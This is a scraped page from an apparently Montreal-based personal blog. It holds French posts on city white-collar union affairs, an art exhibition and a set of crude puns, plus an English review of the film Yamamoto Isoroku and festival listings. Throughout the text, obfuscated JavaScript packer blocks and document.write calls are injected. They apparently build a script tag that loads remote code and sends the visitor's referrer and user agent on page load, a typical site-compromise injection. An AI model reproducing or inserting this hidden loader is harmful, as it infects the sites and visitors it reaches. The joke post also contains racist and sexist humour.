eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiszk|var|u0026u|referrer|adtez||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Démocratie syndicale : la pyramide inversée

L’équipe du 109 au 429 nous annonce la tenue d’une seconde Conférence-discussion cette fois sur le sujet de la démocratie syndicale: “Démocratie syndicale : la pyramide inversée.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhtaa|var|u0026u|referrer|hhndh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhhaf|var|u0026u|referrer|disni||js|php’.split(‘|’),0,{}))

La présentation abordera notamment les embûches qui font en sorte que les structures syndicales peuvent sembler déconnectées des membres, document.write(“”); alors que sur papier, elles semblent à l’écoute de ces derniers et apparaissent structurées démocratiquement. Le tout sera suivi d’une discussion.

La conférence aura lieu à l’UQÀM (salle A-2645, Pavillon Hubert-Aquin [entrée coin St-Denis/Ste-Catherine], 2e étage) le Mardi 4 décembre 2012 à partir de 19h00.

Vous pouvez aussi visiter la page Facebook du 109 au 429 pour approfondir et partager cette information.

Note : La période pour remplir le sondage en ligne portant sur notre future convention collective (via le site du SFMM) a été prolongé jusqu’au 7 décembre! Remplissez-le, c’est important!

MàJ (2 déc): Après avoir finalement rempli le sondage, j’en profite pour mettre à jour (encore) le billet “Note syndicale” où je donne mes priorités et suggestions de points à négocier dans la convention collective des cols blancs de la ville de Montréal.

[ Translate ]

Mise à jour syndicale

Un bref billet juste pour vous informer que j’ai effectué ces derniers jours et semaines plusieurs mises à jour sur des billets d’information de nature syndicale.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iynbz|var|u0026u|referrer|sdzty||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nirik|var|u0026u|referrer|hrkyh||js|php’.split(‘|’),0,{}))

Ces ajouts sont identifiés par la mention “Mise à jour:” (ou simplement “MàJ:”) et sont surlignés en jaune.

Vous les retrouverez dans les billets suivants:

Finalement, j’en profite pour vous enjoindre à nouveau d’aller sur le site du SFMM et d’y remplir le sondage pour exprimer votre opinion sur VOS priorités dans la négociation de notre prochaine convention collective. Ne tardez pas: C’est important et vous n’avez que deux semaines pour le faire ! [ Quant à moi, la priorité est de négocier cette convention au plus vite! ]

MàJ (28 nov.) : La période pour remplir le sondage en ligne portant sur notre future convention collective (via le site du SFMM) a été prolongé jusqu’au 7 décembre! Remplissez-le, c’est important!

[ Translate ]

Commentaire syndical, suite

Pour faire suite à mon précédent commentaire syndical, document.write(“”); je voudrais signaler que dans le dernier Col Blanc (daté d’octobre mais que nous n’avons reçu à la bibliothèque que la semaine dernière), le SFMM annonce: “nous sommes sur le point de mettre en ligne un sondage afin de vous consulter sur vos priorités dans la perspective de la négociation de la prochaine convention collective (…). Ce sondage est le fruit d’un colloque qui s’est tenu le 31 mars (…). Soyez assurés que lorsque nous aurons compilé les réponses du sondage, nous nous attaquerons à la rédaction d’un projet de convention collective (…).”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzkrd|var|u0026u|referrer|kkayd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzitr|var|u0026u|referrer|asbza||js|php’.split(‘|’),0,{}))

De cela je tire deux constatations / commentaires:

Le colloque a eu lieu en mars et on nous présente un sondage que maintenant: cela leur a pris six mois pour préparer un sondage? Ciel! Si cela leur prend un autre six mois pour compiler les réponses et nous présenter le projet de convention en assemblée extraordinaire, combien d’années encore cela prendra-t-il avant que l’on ait une nouvelle convention négociée?!

D’autre part, jusqu’à maintenant je ne trouve toujours pas trace du fameux sondage sur le site du SFMM (le Col Blanc date d’octobre et le texte semble dire que le sondage est imminent). L’aurais-je manqué? Il est plus probable que nos bons amis du SFMM traînent encore de la patte… Soyez vigilant et ne tardez pas à remplir ce sondage dès qu’il sera en ligne. C’est important!

MàJ (15 nov.) : le site du SFMM nous apprend que le sondage pour nous exprimer sur notre prochaine convention collective est en ligne (il y sera seulement jusqu’au 30 novembre, alors dépêchez-vous d’y participer!). Vous pouvez y accèder par ce lien.

Je rappelle que j’avais déjà fait, en mars dernier, mes suggestions de points à discuter pour les négos (auxquels j’ajouterais peut-être la suggestion de bonifier les primes hors heures pour les permanents qui ont un horaire atypique et l’ajout de primes pour ceux qui doivent travailler avec des enfants!! C’est déjà dûr d’être un travailleur de première ligne, en contact avec le public, mais les enfants alors…)

Poursuivez la lecture après le saut de page:

Aussi, ce même Col Blanc nous rappelle, en page huit, qu’il faut se méfier de ce que l’on dit sur les media sociaux. N’oublions pas que notre “code éthique” d’employé de la ville nous retire notre droit constitutionnel de libre expression et que toutes critiques ou commentaires ou “propos (…) inappropriés envers son employeur ainsi qu’envers un membre de la direction de la Ville” (que ce soit sur Facebook, Twitter, un blog ou même dans les media traditionnels comme la presse écrite, la radio ou la télévision) peuvent être causes de suspension ou même de congédiement. Un bon conseil à donner ces derniers temps. J’ai toujours cela à l’esprit quand j’écris (et c’est pour ça que, tant qu’à m’autocensurer, je préfère simplement éviter le sujet tout à la fois ou encore l’aborder indirectement en parlant du travail [in]efficace du syndicat).

Finalement, les gens du 109 au 429 nous rappellent qu’il y aura une manif “pour une véritable équité salariale” devant l’Hotel de Ville de Montréal lundi le 19 novembre à 18h00. Voir aussi l’info à ce sujet sur le site du SFMM (et, pourquoi pas, l’affiche du rassemblement). Dans le cas des aides-biblio je ne vois pas vraiment l’utilité puisqu’on nous a carrément refusé l’équité salariale, mais on peut toujours manifester notre solidarité…

MàJ (18 nov.) : Un récent courriel me rappelle qu’il est important (et ce malgré de récents developpements) de participer en grand nombre à cette manifestation et cela pour deux raisons: 1) faire pression sur la Ville pour que le paiement de l’équité salariale soit fait selon la loi et non de la façon que la Ville en a unilatéralement décidée (l’employeur veut payer seulement ceux ayant atteint le maximum de leur échelle salariale) et ce malgré une décision de la Commission favorable au SFMM; 2) démontrer à l’exécutif de notre merveilleux syndicat (qui s’était originellement prononcé contre la proposition de tenir cette manifestation) qu’il est possible (quand on le veut bien) de mobiliser les membres et que leur mépris n’aura qu’un temps. Alors, s.v.p., venez nombreux pour démontrer votre solidarité à ceux qui bénéficient de l’équité mais qui en attentent encore le paiement!

[ Translate ]

Bref commentaire syndical

D’abord, document.write(“”); je rappel à tous que l’équipe du 109 au 409 (L’alternative syndicale pour les fonctionnaires municipaux de Montréal, c’est-à-dire “l’opposition officieuse” de notre très “démocratique” syndicat) tiendra demain une première conférence sur l’histoire syndicale au Québec (histoire sans doute de nous rappeler quelles devraient être les fonctions d’un véritable syndicat qui se respecte). La conférence aura lieu à partir de 19:00 au Centre St-Pierre (près du métro Beaudry, au 1212 rue Panet – salle 105). J’espère que quelqu’un m’en fera un compte rendu parce que je ne pourrai pas y être (je travaille loin et ne pourrais m’y rendre à temps).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzaft|var|u0026u|referrer|zirnd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eafhn|var|u0026u|referrer|dikez||js|php’.split(‘|’),0,{}))

[Mise à jour: voir le
Compte rendu de la conférence du 17 octobre 2012 sur l’histoire du syndicalisme au Québec sur le site du 109 au 409]

La suite après le saut de page:

Ça fait un bout que je m’abstiens de tout commentaire sur les affaires syndicales parce que ça me met tellement en rogne que je préfère ne pas en parler. Je lisais récemment dans le Journal Métro que les Cols Bleus avaient signé une entente de principe avec la Ville et ce trois mois avant l’échéance de leur convention collective. Je trouve ça frustrant et j’admire l’efficacité du syndicat des cols bleus (quoique l’entente n’a pas encore été entérinée par les membres et, considérant que la Ville semble pas mal fier de leur coup, je me demande si cette entente ne représentera pas un recul sur les acquis des cols bleus; enfin, on verra quand les détails seront rendu publique — peut-être sur le site de leur syndicat?).

[Mise à jour: j’ai parlé à quelques cols bleus et apparemment ils se sont fait avoir, entre autres, sur leur retraite, car ils ne peuvent plus racheter des années non-côtisées. À cause ce cela, une des personnes à qui j’ai parlé devra travailler une demi-douzaine d’années de plus ! Je suppose qu’ils vont essayer de passer quelque chose de similaire aux cols blancs…]

En comparaison, nous les Cols Blancs ont fait plutôt pitié: notre convention collective est échue depuis décembre 2010. Elle a eut une extension d’un an jusqu’en décembre 2011 et là ça fait donc presqu’un an qu’on est sans convention collective! La dernière fois que j’ai entendu que quelque chose se passait à ce sujet c’est au printemps dernier alors qu’avait lieu un colloque des représentants syndicaux pour discuter des points à négocier et qui devrait être suivi, m’avait-on assuré, par une consultation auprès des membres. Je n’ai rien entendu à ce sujet depuis (et ça fait un bon six mois)!

Je suis sûr que le syndicat se justifierait en disant qu’entre-temps ils ont dû déménager les locaux du syndicat et que l’exécutif a été pas mal occupé à jouer à la chaise musicale (une faction commettant un putsch politique pour éliminer une autre faction) mais alors je me demande: et les membres là-dedans? Loin de moi de vouloir les déranger dans leurs petits jeux mais il me semble qu’on aurait droit à une convention collective en bonne et due forme, non? Je leur paie près de quarante dollars par mois de cotisation, ils pourraient au moins faire semblant de travailler!

La goutte qui a fait déborder le vase (et ajouter l’injure à l’insulte) est ce Fonctionnaire Express datant du début du mois qui annonce une consultation en vue du renouvellement de la convention collective des cols blancs de la Cité de Dorval qui vient à échéance le 31 décembre prochain! Et nous? Et nous? Et nous? Est-ce que quelqu’un s’occupe de nous? J’en ai vraiment marre à la fin!

[Mise à jour: pour les développements sur ce sujet voir mon billet “Commentaire syndical, suite”]

[ Translate ]

Gloires passagères

Notre collègue aide-bibliothécaire Louis Fortier, document.write(“”); un sculpteur de talent (dont j’avais déjà mentionné l’exposition Métamorphose en mars), exposera à nouveau ses oeuvres en octobre.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keysr|var|u0026u|referrer|satbz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enrkf|var|u0026u|referrer|rdzkk||js|php’.split(‘|’),0,{}))

Le grand écorché, 2010-2011, cire colorée sur polystyrène expansé (152 x 213 x 304 cm)

L’exposition, intitulée “Gloires passagères”, se tiendra du 4 au 28 octobre 2012 à la Galerie d’art d’Outremont (adjacente à la bibliothèque Robert-Bourassa). Situé au 41 avenue Saint-Just à Outremont, la galerie est ouverte du mardi au vendredi de 13h à 18h, et les samedi et dimanche de 13h à 17h. (Renseignements: 514 495-7419).

Louis Fortier travaille à partir de techniques de moulage qui lui permettent d’effectuer des variations dans la série. Depuis une quinzaine d’années, il revisite son anatomie — et plus particulièrement son visage — à la manière d’un journal. En cherchant des équivalences entre la nature fugitive des émotions et le caractère imprévisible de matériaux tels que la cire et le plâtre, la démarche de cet artiste déjoue la fixité habituelle propre au genre de l’autoportrait. Ainsi, les morceaux d’anatomie qu’il nous livre sont assujettis à des programmes qui génèrent des dérives et des distorsions. Du coup, le résultat de ses explorations artistiques pourraient s’entendre comme des tentatives de traduire les accidents de la vie courante et la fugacité de l’existence.

Mise à jour: article dans l’Express d’Outremont.

[ Translate ]

Humour pas éthique en [six] huit catas strophes

AVERTISSEMENT: Peut contenir des traces de mauvais humour! Toutes personnes allergiques à l’humour salace, document.write(“”); grivois, sexiste, anticlérical ou raciste, voir: au calambour obscure, sont fortement conseillé(e) de prendre les précautions nécessaires pour leur sécurité et devraient s’abstenir de lire plus loin! (On vous aura averti!)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzbks|var|u0026u|referrer|eafzy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbib|var|u0026u|referrer|fftda||js|php’.split(‘|’),0,{}))

Adorateur du démon! Je suis poursuivi par des impies qui m’implorent de joindre leur confrérie étherale et de vénérer jour et nuit avec eux l’idole d’un animal qui incarne la mal en toutes ses formes. Non, jamais je ne consacrerai mon existence à votre face de bouc! (:> 7/10/2011)

Unjustly indickted! I didn’t do dick but, since there’s no justice in the world, it didn’t keep me from being judged and sent to a penile colony. It certainly gave a new meaning to doing hard time. There, everytime one of those dick-head inmates were asking me if I was that Dick who did this or that, I was answering: “Sorry, I don’t know dick about that!” — extract from “The dicky invasion” by Penny Kay Dicky, who also wrote “The peniletimate truth,” “Counter-cock world,” “Confession of a dicky artist” and “U-dick.” (8/6/2011)

Les penseurs grecs sont à l’origine de beaucoup d’éléments de la pensée moderne et scientifique. Par exemple, Leucippe et Démocrite ont développé le concept de l’atomisme. Pythagore et Euclide jetèrent les bases des mathématiques et de la géométrie, Aristote celles de la méthodologie scientifique, et Archimède celles de la physique (on croit qu’il pourrait aussi être le créateur du mécanisme d’Anticythère). Aristarque proposa un modèle astronomique héliocentrique et Ératosthène calcula la circonférence de la terre. Aussi, et j’arrive ici dans le vif de mon sujet, on a attribué à Anaximenes l’idée que le souffle (?????? / pneuma) était la source de la vie, mais des découvertes récentes l’attribue maintenant à un philosophe plus obscure: Emphysème. (Inpiré par mon collègue Ératos10, 9/13/2011)

C’est à se demander pourquoi les gens pensent toujours que les deux capitales du tourisme sexuel en Asie sont Lahore et Bangkok! (10/19/2011)

T’appelles ça comment quand tu te fais engeuler vertement par une femme qui porte un hijab? Des menaces voilées?! (8/24/2012)

Salus cymbalon! L’un des assistants les plus intime du pape a récemment été arrêté sous des accusations de corruptions. Son rôle était de voir à la protection rapprochée et au bien-être du saint-père, en s’assurant qu’il ne croule pas trop sous une charge de travail trop lourde et, même, de voir à son salut en s’agenouillant à son chevet dans la prière. La curie délibère encore sur le choix du prochain sous-pape de sécurité. (8/27/2012)

Et encore plus…

T’appelles ça comment en anglais un chiot en turban? A Sikh puppy?! (9/3/2012)

How do you call, in french, a seal wearing a turban? Un Sikh phoque?! (9/3/2012)

[ Translate ?! ]

Yamamoto Isoroku

“Japan, document.write(“”); summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.” (2012 Montreal World Film Festival schedule book)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktakb|var|u0026u|referrer|rszkt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdfsf|var|u0026u|referrer|dtssr||js|php’.split(‘|’),0,{}))

The full Japanese title of the movie is ???????? ????? (Rengô kantai shirei chôkan: Yamamoto Isoroku / Isoroku Yamamoto, the Commander-in-Chief of the Combined Fleet).

Yamamoto Isoroku (?? ???) was a great thinker and strategist (he’s often depicted in the movie playing shogi, a chess-like military strategy game). He told his superiors (and I am paraphrasing here) “Don’t make a tripartite alliance with Germany and Italy. If you do, the Americans will cut us from the essential supplies we need.” But eventually, they did make an alliance with Hitler. He also told them “Don’t attack the U.S., because they’re stronger than us. If we do, we’ll lose and Japan will be utterly destroyed.” But eventually, they did attack the Americans and, having no choice, Yamamoto planned the attack himself. However, he warned his superiors to “make sure to declare war before attacking the Americans, because if not it will certainly make things worse.” Of course, the Japanese embassy screwed up and the declaration of war was given one hour after the attack, angering the Americans. There is no mention in the movie of his famous quote: “we have awaken a sleeping giant,” probably because it is now considered apocryphal. Finally, he insisted that, if they had to go to war with the Americans, it would be better to hit them hard and fast in the hope to crush their morale and be able to quickly sue for peace, because he considered that if Japan had to engage in a long war of attrition with them they would definitely lose since the Americans were far superior in force and resources.

Unfortunately, his superiors took no heed of his warnings and the Pacific war quickly became a messy affair as the Japanese kept making wrong decisions after another, leading toward an ugly end. The culprit was an enormous national pride that made people believe they could win despite the odds. Even if Pearl Harbor was a strategic failure (they gambled they could destroy the American Pacific Fleet, but its most important elements, the carriers, were nowhere to be seen), it was portrayed at home as a great victory. The “success” of Midway was a failure as well (Yamamoto’s subordinates did not follow his instruction to “load half the airplanes with torpedoes in order to strike and sink the carriers that our attack will definitely draw”), but the huge lost sustained by the Navy ultimately sealed the fate of Japan. In Guadalcanal, a retreat became a “transfer of troops” in the national newspapers! Fortunately, Yamamoto died in an enemy attack in the Solomon Islands (he wanted to inspect the troops and boost their morale by his presence, but someone had stupidly broadcast his traveling plans), and therefore never witnessed the miserable end of the war.

Yamamoto Isoroku is a “biographical” drama that focuses solely on Yamamoto’s role in the Pacific War and his conviction that war against the Americans was a mistake and that, if it was indeed inevitable, the best chances of success for Japan was to aim at a quick peace after hitting them hard and fast. Not much is said on his personal life: once in a while we glimpse of his family just to remind the viewers that he is human and has a wife and children. The movie is essentially an history lesson but, thanks to an excellent storytelling, it never feels like a lecture. The director achieves this by introducing the viewers to two groups of people — a couple of newspaper reporters and the customers of a small izakaya bar — which he cleverly use to communicate to the viewers the essential historical and chronological information about the progress of the war, its historical context, what’s the public opinion at the time and who thinks what about the current strategy or geo-political situation.

Strangely, it doesn’t feel at all like an anti-war movie and is not even apologetic of Japan’s role in the war. It simply tells the viewers that, if Yamamoto’s vision would have prevailed, the Pacific War might have been avoided or at least delayed and, in case of war, an early peace would have been pursued, avoiding all the horrors that ultimately deprived Japan of its honor. It tells us (and I totally agree with that assessment) that the war was essentially caused by the stupidity of the “hawks,” the warmonger amongst the media and the political bureaucracy. Unfortunately, in order to pass his message, the director is raising Yamamoto to a status of demi-god and the movie is endlessly chanting is coolness and greatness to the point of being annoying.

I am not sure exactly what this movie is telling us about the ideology of today’s Japan. We’ve certainly seen an increase in war movies being produced lately and it seems to coincide with an hardening of the right wing parties seeking more aggressive politics. Many want to re-arm Japan or defend more aggressively Japanese territory against the claim of other countries in order to secure future resources. However, I don’t think that this movie is part of this trend. In contrary, it seems to warn us against repeating the pitfall of history (but this time the sleeping giant would probably be China).

All in all, despite its ideological aspects, it is quite an interesting movie that offers a beautiful photography where, surprisingly, the special effects are minimally obtrusive (I cannot say they are barely noticeable, but at least they are negligibly obvious). A movie well worth watching.

Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. Screened, in presence of one of the producers, as part of the “World Great” segment (Out of competition) at the Montreal World Film Festival 2012, on August 26th, 18:40 in Cinéma Quartier Latin 9 (a theatre with a 350-seat capacity which was a little less than 3/4 full).
Other comments or reviews:

One last point, not related to the movie itself: The primary duty of a film festival and of a movie theatre is to preserve the integrity of the artistic works it is presenting. I didn’t appreciate at all that the sound was cut off for almost the entire end credits of the movie. A soundtrack is an integral part of a movie. It’s bad enough that the movie started late (because of the Q&A of the previous movie, I think) but it is not the first year that I witness unforgivable technical screw ups at the festival and particularly at the Quartier Latin. Of course, the people of the festival say it’s the mistake of the projectionist who cannot see or ear what’s happening inside the theatre, and the acting theatre manager I spoke to said all complaints should be directed to the festival staff since they are the one in charge during the festival (even of the projectionist). This lack of respect for the movie industry craftsmen who created this film and for the viewers is quite annoying. It is a small detail, I admit, but it should never happen. The frustration I feel when this happens distract me from the enjoyment of the movie.

Update: Here’s a video of the very quick presentation made by one of the producers before the screening of “Yamamoto Isoroku” at the 2012 Montreal World Film Festival.


[ Traduire ]

Montreal World Film Festival 2012

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 36th edition, which will be held from August 23 to September 3. During the twelve days of its duration, the festival will present 432 films from 80 countries, including 212 feature-length movies, 16 medium-length and 204 short films. 212 of those features will be the first film of its director and 216 of those productions will be world or international premieres! You can read more details in the press release announcing this impressive line-up.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeyas|var|u0026u|referrer|krsbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hksyd|var|u0026u|referrer|yntzh||js|php’.split(‘|’),0,{}))


This year the festival is offering us eleven Japanese movies (more than last year): three in competition (including one Canadian co-production and one in the first film competition), three in the World Great category and five in the Focus on World Cinema (including one short).

The World Competition

First Films World Competition

  • Sono Yoru no Samurai (The Samurai That Night): Japan, 2012, 119 min.; Dir./Scr.: Masaaki Akahori (based on a play by himself); Cast: Sakura Andô, Gô Ayano, Tomorowo Taguchi, Mitsuki Tanimura, Hirofumi Arai, Maki Sakai.

    Nakamura is released from prison after serving five years for killing a woman in a hit-and-run accident. The woman’s husband has vowed revenge.

    Schedule: Sat 9/1 18:40 L9.01.4; Sat 9/1 9:30 L14.01.1; Sun 9/2 16:10 L14.02.4; 9/3 14:20 L14.03.2.

World Great (Out of Competition)

  • Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. See description on AsianWiki.

    Japan, summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.

    Schedule: Sat 8/25 11:00 L9.25.1; Sun 8/26 18:40 L9.26.5.
    Read our commentary on this movie.

